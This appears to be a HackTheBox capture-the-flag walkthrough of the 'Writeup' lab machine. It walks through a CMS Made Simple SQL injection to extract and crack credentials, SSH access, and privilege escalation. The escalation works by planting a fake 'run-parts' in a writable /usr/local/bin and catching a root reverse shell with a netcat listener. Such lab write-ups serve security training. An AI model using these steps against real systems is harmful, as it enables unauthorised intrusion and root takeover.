



HackTheBox - WriteUp

Walkthrough

By

iLinxz

[hackthebox.eu/home/users/profile/362067](https://hackthebox.eu/home/users/profile/362067) && [tryhackme.com/p/iLinxz](https://tryhackme.com/p/iLinxz)

## 1. NMAP Scan

```
Nmap scan report for 10.10.10.138
Host is up (0.015s latency).
Not shown: 998 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|   256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp    open  http     Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Our NMAP scan shows that only two ports are open:

1. Port 22 – running SSH
2. Port 80 – running HTTP

Great, what can we do?

Well, let us visit the website and see what lies within. Not much else to do other than that.



2 Apr 2019 — **CMS Made Simple** < 2.2.10 - SQL Injection. CVE-2019-9053 . webapps **exploit** for PHP platform.

After a bit of debugging around, I got the exploit to work and ran it. Thus, revealing some information.

```
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
```

I pasted the hashed password into [md5hashing.net/hash/md5](https://md5hashing.net/hash/md5) and got it back as:

5a599ef579066807raykayjay9

But the bits in the beginning are just the salt that we can get rid of.

We have our first set of credentials:

jkr:raykayjay9

Time for us to SSH in!

```
iLinuxz@kali:~/Desktop/Memos/WriteUp$ ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Nov  2 14:01:27 2020 from 10.10.14.12
jkr@writeup:~$
```

[Hacker Voice] I'm in!

Great. Now onto root...

I ran an instance of linpeas on the machine and nothing too fruitful came up. It's time for pspy.

I ran pspy64 on the machine and let it run for a while. At one point, I wanted to check if anything happens in the background when I exit my ssh session and when I log back in.

```
2020/11/02 14:48:06 CMD: UID=0 PID=10
2020/11/02 14:48:06 CMD: UID=0 PID=1
2020/11/02 14:48:18 CMD: UID=0 PID=5624
2020/11/02 14:48:18 CMD: UID=0 PID=5625
2020/11/02 14:48:23 CMD: UID=0 PID=5626
2020/11/02 14:48:23 CMD: UID=0 PID=5627
in run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2020/11/02 14:48:23 CMD: UID=0 PID=5628
2020/11/02 14:48:23 CMD: UID=0 PID=5629
2020/11/02 14:48:23 CMD: UID=0 PID=5630
2020/11/02 14:48:23 CMD: UID=1000 PID=5631
2020/11/02 14:48:23 CMD: UID=1000 PID=5632
2020/11/02 14:48:23 CMD: UID=1000 PID=5633
2020/11/02 14:48:23 CMD: UID=1000 PID=5634
2020/11/02 14:48:23 CMD: UID=1000 PID=5635
init [2]
sshd: [accepted]
sshd: [accepted]
sshd: jkr [priv]
sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/b
run-parts --lsbsysinit /etc/update-motd.d
uname -rnsom
sshd: jkr [priv]
-bash
-bash
-bash
-bash
-bash

iLinuxz@kali:~/Desktop/Memos/WriteUp$ ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux

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Last login: Mon Nov  2 14:33:53 2020 from 10.10.14.12
jkr@writeup:~$
```

When SSHing in, the environment path is set to:

```
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

And then, the 'run-parts' binary is running without an absolute path.

```
jkr@writeup:~$ which run-parts
/bin/run-parts
jkr@writeup:~$
```

The /usr/local/ directory writable by users in the 'Staff' group.

```
jkr@writeup:~$ ls -la /usr/local/
total 68
drwxrwsr-x 10 root staff 4096 Nov  2 13:40 .
drwxr-xr-x 10 root root  4096 Apr 19  2019 ..
drwx-wsr-x  2 root staff 20480 Nov  2 13:57 bin
drwxrwsr-x  2 root staff 4096 Apr 19  2019 etc
drwxrwsr-x  2 root staff 4096 Apr 19  2019 games
drwxrwsr-x  2 root staff 4096 Apr 19  2019 include
drwxrwsr-x  4 root staff 4096 Apr 24  2019 lib
lrwxrwxrwx  1 root staff    9 Apr 19  2019 man -> share/man
-rwxrwxrwx  1 jkr  staff  212 Nov  2 13:27 run-parts
drwx-wsr-x  2 root staff 12288 Nov  2 13:53 sbin
drwxrwsr-x  7 root staff 4096 Apr 19  2019 share
drwxrwsr-x  2 root staff 4096 Apr 19  2019 src
jkr@writeup:~$
```

```
jkr@writeup:~$ id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)
jkr@writeup:~$
```

In which we are.

AND because /usr/local/ is before /bin/, that means we can write an executable script called 'run-parts', ssh back in and get a root shell.

#Have\_your\_listener\_ready

```
iLinxz@kali:~/Desktop/Memos/WriteUp$ nc -lvnp 1337
listening on [any] 1337 ...
```

```
jkr@writeup:/usr/local/bin$ nano run-parts
jkr@writeup:/usr/local/bin$ chmod 777 run-parts
jkr@writeup:/usr/local/bin$
```

Exit the SSH session and log back in and here it is, the root shell.

```
iLinxz@kali:~/Desktop/Memos/WriteUp$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.138] 58580
bash: cannot set terminal process group (5688): Inappropriate ioctl for device
bash: no job control in this shell
root@writeup:/#
```